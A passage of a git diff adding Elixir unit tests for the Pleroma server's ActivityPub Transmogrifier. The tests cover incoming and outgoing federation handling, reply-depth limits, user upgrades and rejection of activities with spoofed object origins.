user.ap_id) + + _blocker = insert(:user, ap_id: block_data["actor"], local: false) + + {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(block_data) + + data = + File.read!("test/fixtures/mastodon-unblock-activity.json") + |> Poison.decode!() + |> Map.put("object", block_data) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + assert data["type"] == "Undo" + assert data["object"] == block_data["id"] + + blocker = User.get_cached_by_ap_id(data["actor"]) + + refute User.blocks?(blocker, user) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier_test.exs b/test/pleroma/web/activity_pub/transmogrifier_test.exs new file mode 100644 index 000000000..561674f01 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier_test.exs @@ -0,0 +1,1220 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.AdminAPI.AccountView + alias Pleroma.Web.CommonAPI + + import Mock + import Pleroma.Factory + import ExUnit.CaptureLog + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :max_remote_account_fields]) + + describe "handle_incoming" do + test "it works for incoming notices with tag not being an array (kroeg)" do + data = File.read!("test/fixtures/kroeg-array-less-emoji.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["emoji"] == %{ + "icon_e_smile" => "https://puckipedia.com/forum/images/smilies/icon_e_smile.png" + } + + data = File.read!("test/fixtures/kroeg-array-less-hashtag.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert "test" in object.data["tag"] + end + + test "it cleans up incoming notices which are not really DMs" do + user = insert(:user) + other_user = insert(:user) + + to = [user.ap_id, other_user.ap_id] + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("to", to) + |> Map.put("cc", []) + + object = + data["object"] + |> Map.put("to", to) + |> Map.put("cc", []) + + data = Map.put(data, "object", object) + + {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert data["to"] == [] + assert data["cc"] == to + + object_data = Object.normalize(activity).data + + assert object_data["to"] == [] + assert object_data["cc"] == to + end + + test "it ignores an incoming notice if we already have it" do + activity = insert(:note_activity) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("object", Object.normalize(activity).data) + + {:ok, returned_activity} = Transmogrifier.handle_incoming(data) + + assert activity == returned_activity + end + + @tag capture_log: true + test "it fetches reply-to activities if we don't have them" do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + object = + data["object"] + |> Map.put("inReplyTo", "https://mstdn.io/users/mayuutann/statuses/99568293732299394") + + data = Map.put(data, "object", object) + {:ok, returned_activity} = Transmogrifier.handle_incoming(data) + returned_object = Object.normalize(returned_activity, false) + + assert activity = + Activity.get_create_by_object_ap_id( + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + ) + + assert returned_object.data["inReplyTo"] == + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + end + + test "it does not fetch reply-to activities beyond max replies depth limit" do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + object = + data["object"] + |> Map.put("inReplyTo", "https://shitposter.club/notice/2827873") + + data = Map.put(data, "object", object) + + with_mock Pleroma.Web.Federator, + allowed_thread_distance?: fn _ -> false end do + {:ok, returned_activity} = Transmogrifier.handle_incoming(data) + + returned_object = Object.normalize(returned_activity, false) + + refute Activity.get_create_by_object_ap_id( + "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + ) + + assert returned_object.data["inReplyTo"] == "https://shitposter.club/notice/2827873" + end + end + + test "it does not crash if the object in inReplyTo can't be fetched" do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + object = + data["object"] + |> Map.put("inReplyTo", "https://404.site/whatever") + + data = + data + |> Map.put("object", object) + + assert capture_log(fn -> + {:ok, _returned_activity} = Transmogrifier.handle_incoming(data) + end) =~ "[warn] Couldn't fetch \"https://404.site/whatever\", error: nil" + end + + test "it does not work for deactivated users" do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + + insert(:user, ap_id: data["actor"], deactivated: true) + + assert {:error, _} = Transmogrifier.handle_incoming(data) + end + + test "it works for incoming notices" do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["id"] == + "http://mastodon.example.org/users/admin/statuses/99512778738411822/activity" + + assert data["context"] == + "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation" + + assert data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] + + assert data["cc"] == [ + "http://mastodon.example.org/users/admin/followers", + "http://localtesting.pleroma.lol/users/lain" + ] + + assert data["actor"] == "http://mastodon.example.org/users/admin" + + object_data = Object.normalize(data["object"]).data + + assert object_data["id"] == + "http://mastodon.example.org/users/admin/statuses/99512778738411822" + + assert object_data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] + + assert object_data["cc"] == [ + "http://mastodon.example.org/users/admin/followers", + "http://localtesting.pleroma.lol/users/lain" + ] + + assert object_data["actor"] == "http://mastodon.example.org/users/admin" + assert object_data["attributedTo"] == "http://mastodon.example.org/users/admin" + + assert object_data["context"] == + "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation" + + assert object_data["sensitive"] == true + + user = User.get_cached_by_ap_id(object_data["actor"]) + + assert user.note_count == 1 + end + + test "it works for incoming notices with hashtags" do + data = File.read!("test/fixtures/mastodon-post-activity-hashtag.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert Enum.at(object.data["tag"], 2) == "moo" + end + + test "it works for incoming notices with contentMap" do + data = + File.read!("test/fixtures/mastodon-post-activity-contentmap.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["content"] == + "

@lain

" + end + + test "it works for incoming notices with to/cc not being an array (kroeg)" do + data = File.read!("test/fixtures/kroeg-post-activity.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["content"] == + "

henlo from my Psion netBook

message sent from my Psion netBook

" + end + + test "it ensures that as:Public activities make it to their followers collection" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("actor", user.ap_id) + |> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"]) + |> Map.put("cc", []) + + object = + data["object"] + |> Map.put("attributedTo", user.ap_id) + |> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"]) + |> Map.put("cc", []) + |> Map.put("id", user.ap_id <> "/activities/12345678") + + data = Map.put(data, "object", object) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["cc"] == [User.ap_followers(user)] + end + + test "it ensures that address fields become lists" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("actor", user.ap_id) + |> Map.put("to", nil) + |> Map.put("cc", nil) + + object = + data["object"] + |> Map.put("attributedTo", user.ap_id) + |> Map.put("to", nil) + |> Map.put("cc", nil) + |> Map.put("id", user.ap_id <> "/activities/12345678") + + data = Map.put(data, "object", object) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert !is_nil(data["to"]) + assert !is_nil(data["cc"]) + end + + test "it strips internal likes" do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + likes = %{ + "first" => + "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1", + "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes", + "totalItems" => 3, + "type" => "OrderedCollection" + } + + object = Map.put(data["object"], "likes", likes) + data = Map.put(data, "object", object) + + {:ok, %Activity{object: object}} = Transmogrifier.handle_incoming(data) + + refute Map.has_key?(object.data, "likes") + end + + test "it strips internal reactions" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + {:ok, _} = CommonAPI.react_with_emoji(activity.id, user, "📢") + + %{object: object} = Activity.get_by_id_with_object(activity.id) + assert Map.has_key?(object.data, "reactions") + assert Map.has_key?(object.data, "reaction_count") + + object_data = Transmogrifier.strip_internal_fields(object.data) + refute Map.has_key?(object_data, "reactions") + refute Map.has_key?(object_data, "reaction_count") + end + + test "it works for incoming unfollows with an existing follow" do + user = insert(:user) + + follow_data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data) + + data = + File.read!("test/fixtures/mastodon-unfollow-activity.json") + |> Poison.decode!() + |> Map.put("object", follow_data) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Undo" + assert data["object"]["type"] == "Follow" + assert data["object"]["object"] == user.ap_id + assert data["actor"] == "http://mastodon.example.org/users/admin" + + refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) + end + + test "it accepts Flag activities" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + object = Object.normalize(activity) + + note_obj = %{ + "type" => "Note", + "id" => activity.data["id"], + "content" => "test post", + "published" => object.data["published"], + "actor" => AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + } + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "cc" => [user.ap_id], + "object" => [user.ap_id, activity.data["id"]], + "type" => "Flag", + "content" => "blocked AND reported!!!", + "actor" => other_user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + assert activity.data["object"] == [user.ap_id, note_obj] + assert activity.data["content"] == "blocked AND reported!!!" + assert activity.data["actor"] == other_user.ap_id + assert activity.data["cc"] == [user.ap_id] + end + + test "it correctly processes messages with non-array to field" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => "https://www.w3.org/ns/activitystreams#Public", + "type" => "Create", + "object" => %{ + "content" => "blah blah blah", + "type" => "Note", + "attributedTo" => user.ap_id, + "inReplyTo" => nil + }, + "actor" => user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["to"] + end + + test "it correctly processes messages with non-array cc field" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => user.follower_address, + "cc" => "https://www.w3.org/ns/activitystreams#Public", + "type" => "Create", + "object" => %{ + "content" => "blah blah blah", + "type" => "Note", + "attributedTo" => user.ap_id, + "inReplyTo" => nil + }, + "actor" => user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["cc"] + assert [user.follower_address] == activity.data["to"] + end + + test "it correctly processes messages with weirdness in address fields" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => [nil, user.follower_address], + "cc" => ["https://www.w3.org/ns/activitystreams#Public", ["¿"]], + "type" => "Create", + "object" => %{ + "content" => "…", + "type" => "Note", + "attributedTo" => user.ap_id, + "inReplyTo" => nil + }, + "actor" => user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["cc"] + assert [user.follower_address] == activity.data["to"] + end + + test "it accepts Move activities" do + old_user = insert(:user) + new_user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Move", + "actor" => old_user.ap_id, + "object" => old_user.ap_id, + "target" => new_user.ap_id + } + + assert :error = Transmogrifier.handle_incoming(message) + + {:ok, _new_user} = User.update_and_set_cache(new_user, %{also_known_as: [old_user.ap_id]}) + + assert {:ok, %Activity{} = activity} = Transmogrifier.handle_incoming(message) + assert activity.actor == old_user.ap_id + assert activity.data["actor"] == old_user.ap_id + assert activity.data["object"] == old_user.ap_id + assert activity.data["target"] == new_user.ap_id + assert activity.data["type"] == "Move" + end + end + + describe "`handle_incoming/2`, Mastodon format `replies` handling" do + setup do: clear_config([:activitypub, :note_replies_output_limit], 5) + setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) + + setup do + data = + "test/fixtures/mastodon-post-activity.json" + |> File.read!() + |> Poison.decode!() + + items = get_in(data, ["object", "replies", "first", "items"]) + assert length(items) > 0 + + %{data: data, items: items} + end + + test "schedules background fetching of `replies` items if max thread depth limit allows", %{ + data: data, + items: items + } do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 10) + + {:ok, _activity} = Transmogrifier.handle_incoming(data) + + for id <- items do + job_args = %{"op" => "fetch_remote", "id" => id, "depth" => 1} + assert_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker, args: job_args) + end + end + + test "does NOT schedule background fetching of `replies` beyond max thread depth limit allows", + %{data: data} do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + {:ok, _activity} = Transmogrifier.handle_incoming(data) + + assert all_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker) == [] + end + end + + describe "`handle_incoming/2`, Pleroma format `replies` handling" do + setup do: clear_config([:activitypub, :note_replies_output_limit], 5) + setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) + + setup do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "post1"}) + + {:ok, reply1} = + CommonAPI.post(user, %{status: "reply1", in_reply_to_status_id: activity.id}) + + {:ok, reply2} = + CommonAPI.post(user, %{status: "reply2", in_reply_to_status_id: activity.id}) + + replies_uris = Enum.map([reply1, reply2], fn a -> a.object.data["id"] end) + + {:ok, federation_output} = Transmogrifier.prepare_outgoing(activity.data) + + Repo.delete(activity.object) + Repo.delete(activity) + + %{federation_output: federation_output, replies_uris: replies_uris} + end + + test "schedules background fetching of `replies` items if max thread depth limit allows", %{ + federation_output: federation_output, + replies_uris: replies_uris + } do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 1) + + {:ok, _activity} = Transmogrifier.handle_incoming(federation_output) + + for id <- replies_uris do + job_args = %{"op" => "fetch_remote", "id" => id, "depth" => 1} + assert_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker, args: job_args) + end + end + + test "does NOT schedule background fetching of `replies` beyond max thread depth limit allows", + %{federation_output: federation_output} do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + {:ok, _activity} = Transmogrifier.handle_incoming(federation_output) + + assert all_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker) == [] + end + end + + describe "prepare outgoing" do + test "it inlines private announced objects" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey", visibility: "private"}) + + {:ok, announce_activity} = CommonAPI.repeat(activity.id, user) + + {:ok, modified} = Transmogrifier.prepare_outgoing(announce_activity.data) + + assert modified["object"]["content"] == "hey" + assert modified["object"]["actor"] == modified["object"]["attributedTo"] + end + + test "it turns mentions into tags" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{status: "hey, @#{other_user.nickname}, how are ya? #2hu"}) + + with_mock Pleroma.Notification, + get_notified_from_activity: fn _, _ -> [] end do + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + object = modified["object"] + + expected_mention = %{ + "href" => other_user.ap_id, + "name" => "@#{other_user.nickname}", + "type" => "Mention" + } + + expected_tag = %{ + "href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu", + "type" => "Hashtag", + "name" => "#2hu" + } + + refute called(Pleroma.Notification.get_notified_from_activity(:_, :_)) + assert Enum.member?(object["tag"], expected_tag) + assert Enum.member?(object["tag"], expected_mention) + end + end + + test "it adds the sensitive property" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#nsfw hey"}) + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["object"]["sensitive"] + end + + test "it adds the json-ld context and the conversation property" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["@context"] == + Pleroma.Web.ActivityPub.Utils.make_json_ld_header()["@context"] + + assert modified["object"]["conversation"] == modified["context"] + end + + test "it sets the 'attributedTo' property to the actor of the object if it doesn't have one" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["object"]["actor"] == modified["object"]["attributedTo"] + end + + test "it strips internal hashtag data" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#2hu"}) + + expected_tag = %{ + "href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu", + "type" => "Hashtag", + "name" => "#2hu" + } + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["object"]["tag"] == [expected_tag] + end + + test "it strips internal fields" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#2hu :firefox:"}) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert length(modified["object"]["tag"]) == 2 + + assert is_nil(modified["object"]["emoji"]) + assert is_nil(modified["object"]["like_count"]) + assert is_nil(modified["object"]["announcements"]) + assert is_nil(modified["object"]["announcement_count"]) + assert is_nil(modified["object"]["context_id"]) + end + + test "it strips internal fields of article" do + activity = insert(:article_activity) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert length(modified["object"]["tag"]) == 2 + + assert is_nil(modified["object"]["emoji"]) + assert is_nil(modified["object"]["like_count"]) + assert is_nil(modified["object"]["announcements"]) + assert is_nil(modified["object"]["announcement_count"]) + assert is_nil(modified["object"]["context_id"]) + assert is_nil(modified["object"]["likes"]) + end + + test "the directMessage flag is present" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "2hu :moominmamma:"}) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["directMessage"] == false + + {:ok, activity} = CommonAPI.post(user, %{status: "@#{other_user.nickname} :moominmamma:"}) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["directMessage"] == false + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "@#{other_user.nickname} :moominmamma:", + visibility: "direct" + }) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert modified["directMessage"] == true + end + + test "it strips BCC field" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) + + {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) + + assert is_nil(modified["bcc"]) + end + + test "it can handle Listen activities" do + listen_activity = insert(:listen) + + {:ok, modified} = Transmogrifier.prepare_outgoing(listen_activity.data) + + assert modified["type"] == "Listen" + + user = insert(:user) + + {:ok, activity} = CommonAPI.listen(user, %{"title" => "lain radio episode 1"}) + + {:ok, _modified} = Transmogrifier.prepare_outgoing(activity.data) + end + end + + describe "user upgrade" do + test "it upgrades a user to activitypub" do + user = + insert(:user, %{ + nickname: "rye@niu.moe", + local: false, + ap_id: "https://niu.moe/users/rye", + follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"}) + }) + + user_two = insert(:user) + Pleroma.FollowingRelationship.follow(user_two, user, :follow_accept) + + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + {:ok, unrelated_activity} = CommonAPI.post(user_two, %{status: "test"}) + assert "http://localhost:4001/users/rye@niu.moe/followers" in activity.recipients + + user = User.get_cached_by_id(user.id) + assert user.note_count == 1 + + {:ok, user} = Transmogrifier.upgrade_user_from_ap_id("https://niu.moe/users/rye") + ObanHelpers.perform_all() + + assert user.ap_enabled + assert user.note_count == 1 + assert user.follower_address == "https://niu.moe/users/rye/followers" + assert user.following_address == "https://niu.moe/users/rye/following" + + user = User.get_cached_by_id(user.id) + assert user.note_count == 1 + + activity = Activity.get_by_id(activity.id) + assert user.follower_address in activity.recipients + + assert %{ + "url" => [ + %{ + "href" => + "https://cdn.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg" + } + ] + } = user.avatar + + assert %{ + "url" => [ + %{ + "href" => + "https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" + } + ] + } = user.banner + + refute "..." in activity.recipients + + unrelated_activity = Activity.get_by_id(unrelated_activity.id) + refute user.follower_address in unrelated_activity.recipients + + user_two = User.get_cached_by_id(user_two.id) + assert User.following?(user_two, user) + refute "..." in User.following(user_two) + end + end + + describe "actor rewriting" do + test "it fixes the actor URL property to be a proper URI" do + data = %{ + "url" => %{"href" => "http://example.com"} + } + + rewritten = Transmogrifier.maybe_fix_user_object(data) + assert rewritten["url"] == "http://example.com" + end + end + + describe "actor origin containment" do + test "it rejects activities which reference objects with bogus origins" do + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://mastodon.example.org/users/admin/activities/1234", + "actor" => "http://mastodon.example.org/users/admin", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => "https://info.pleroma.site/activity.json", + "type" => "Announce" + } + + assert capture_log(fn -> + {:error, _} = Transmogrifier.handle_incoming(data) + end) =~ "Object containment failed" + end + + test "it rejects activities which reference objects that have an incorrect attribution (variant 1)" do + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://mastodon.example.org/users/admin/activities/1234", + "actor" => "http://mastodon.example.org/users/admin", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => "https://info.pleroma.site/activity2.json", + "type" => "Announce" + } + + assert capture_log(fn -> + {:error, _} = Transmogrifier.handle_incoming(data) + end) =~ "Object containment failed" + end + + test "it rejects activities which reference objects that have an incorrect attribution (variant 2)" do + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://mastodon.example.org/users/admin/activities/1234", + "actor" => "http://mastodon.example.org/users/admin", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => "https://info.pleroma.site/activity3.json", + "type" => "Announce" + } + + assert capture_log(fn -> + {:error, _} = Transmogrifier.handle_incoming(data) + end) =~ "Object containment failed" + end + end + + describe "reserialization" do + test "successfully reserializes a message with inReplyTo == nil" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Create", + "object" => %{ + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Note", + "content" => "Hi", + "inReplyTo" => nil, + "attributedTo" => user.ap_id + }, + "actor" => user.ap_id + } + + {:ok, activity} = Transmogrifier.handle_incoming(message) + + {:ok, _} = Transmogrifier.prepare_outgoing(activity.data) + end + + test "successfully reserializes a message with AS2 objects in IR" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Create", + "object" => %{ + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Note", + "content" => "Hi", + "inReplyTo" => nil, + "attributedTo" => user.ap_id, + "tag" => [ + %{"name" => "#2hu", "href" => "http://example.com/2hu", "type" => "Hashtag"}, + %{"name" => "Bob", "href" => "http://example.com/bob", "type" => "Mention"} + ] + }, + "actor" => user.ap_id + } + + {:ok, activity} = Transmogrifier.handle_incoming(message) + + {:ok, _} = Transmogrifier.prepare_outgoing(activity.data) + end + end + + describe "fix_explicit_addressing" do + setup do + user = insert(:user) + [user: user] + end + + test "moves non-explicitly mentioned actors to cc", %{user: user} do + explicitly_mentioned_actors = [ + "https://pleroma.gold/users/user1", + "https://pleroma.gold/user2" + ] + + object = %{ + "actor" => user.ap_id, + "to" => explicitly_mentioned_actors ++ ["https://social.beepboop.ga/users/dirb"], + "cc" => [], + "tag" => + Enum.map(explicitly_mentioned_actors, fn href -> + %{"type" => "Mention", "href" => href} + end) + } + + fixed_object = Transmogrifier.fix_explicit_addressing(object) + assert Enum.all?(explicitly_mentioned_actors, &(&1 in fixed_object["to"])) + refute "https://social.beepboop.ga/users/dirb" in fixed_object["to"] + assert "https://social.beepboop.ga/users/dirb" in fixed_object["cc"] + end + + test "does not move actor's follower collection to cc", %{user: user} do + object = %{ + "actor" => user.ap_id, + "to" => [user.follower_address], + "cc" => [] + } + + fixed_object = Transmogrifier.fix_explicit_addressing(object) + assert user.follower_address in fixed_object["to"] + refute user.follower_address in fixed_object["cc"] + end + + test "removes recipient's follower collection from cc", %{user: user} do + recipient = insert(:user) + + object = %{ + "actor" => user.ap_id, + "to" => [recipient.ap_id, "https://www.w3.org/ns/activitystreams#Public"], + "cc" => [user.follower_address, recipient.follower_address] + } + + fixed_object = Transmogrifier.fix_explicit_addressing(object) + + assert user.follower_address in fixed_object["cc"] + refute recipient.follower_address in fixed_object["cc"] + refute recipient.follower_address in fixed_object["to"] + end + end + + describe "fix_summary/1" do + test "returns fixed object" do + assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""} + assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"} + assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""} + end + end + + describe "fix_in_reply_to/2" do + setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) + + setup do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + [data: data] + end + + test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do + assert Transmogrifier.fix_in_reply_to(data) == data + end + + test "returns object with inReplyTo when denied incoming reply", %{data: data} do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + object_with_reply = + Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873") + + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873" + + object_with_reply = + Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"}) + + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"} + + object_with_reply = + Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"]) + + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"] + + object_with_reply = Map.put(data["object"], "inReplyTo", []) + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == [] + end + + @tag capture_log: true + test "returns modified object when allowed incoming reply", %{data: data} do + object_with_reply = + Map.put( + data["object"], + "inReplyTo", + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + ) + + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5) + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + + assert modified_object["inReplyTo"] == + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + + assert modified_object["context"] == + "tag:shitposter.club,2018-02-22:objectType=thread:nonce=e5a7c72d60a9c0e4" + end + end + + describe "fix_url/1" do + test "fixes data for object when url is map" do + object = %{ + "url" => %{ + "type" => "Link", + "mimeType" => "video/mp4", + "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" + } + } + + assert Transmogrifier.fix_url(object) == %{ + "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" + } + end + + test "returns non-modified object" do + assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"} + end + end + + describe "get_obj_helper/2" do + test "returns nil when cannot normalize object" do + assert capture_log(fn -> + refute Transmogrifier.get_obj_helper("test-obj-id") + end) =~ "Unsupported URI scheme" + end + + @tag capture_log: true + test "returns {:ok, %Object{}} for success case" do + assert {:ok, %Object{}} = + Transmogrifier.get_obj_helper( + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + ) + end + end + + describe "fix_attachments/1" do + test "returns not modified object" do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + assert Transmogrifier.fix_attachments(data) == data + end + + test "returns modified object when attachment is map" do + assert Transmogrifier.fix_attachments(%{ + "attachment" => %{ + "mediaType" => "video/mp4", + "url" => "https://peertube.moe/stat-480.mp4" + } + }) == %{ + "attachment" => [ + %{ + "mediaType" => "video/mp4", + "type" => "Document", + "url" => [ + %{ + "href" => "https://peertube.moe/stat-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + } + end + + test "returns modified object when attachment is list" do + assert Transmogrifier.fix_attachments(%{ + "attachment" => [ + %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"}, + %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"} + ] + }) == %{ + "attachment" => [ + %{ + "mediaType" => "video/mp4", + "type" => "Document", + "url" => [ + %{ + "href" => 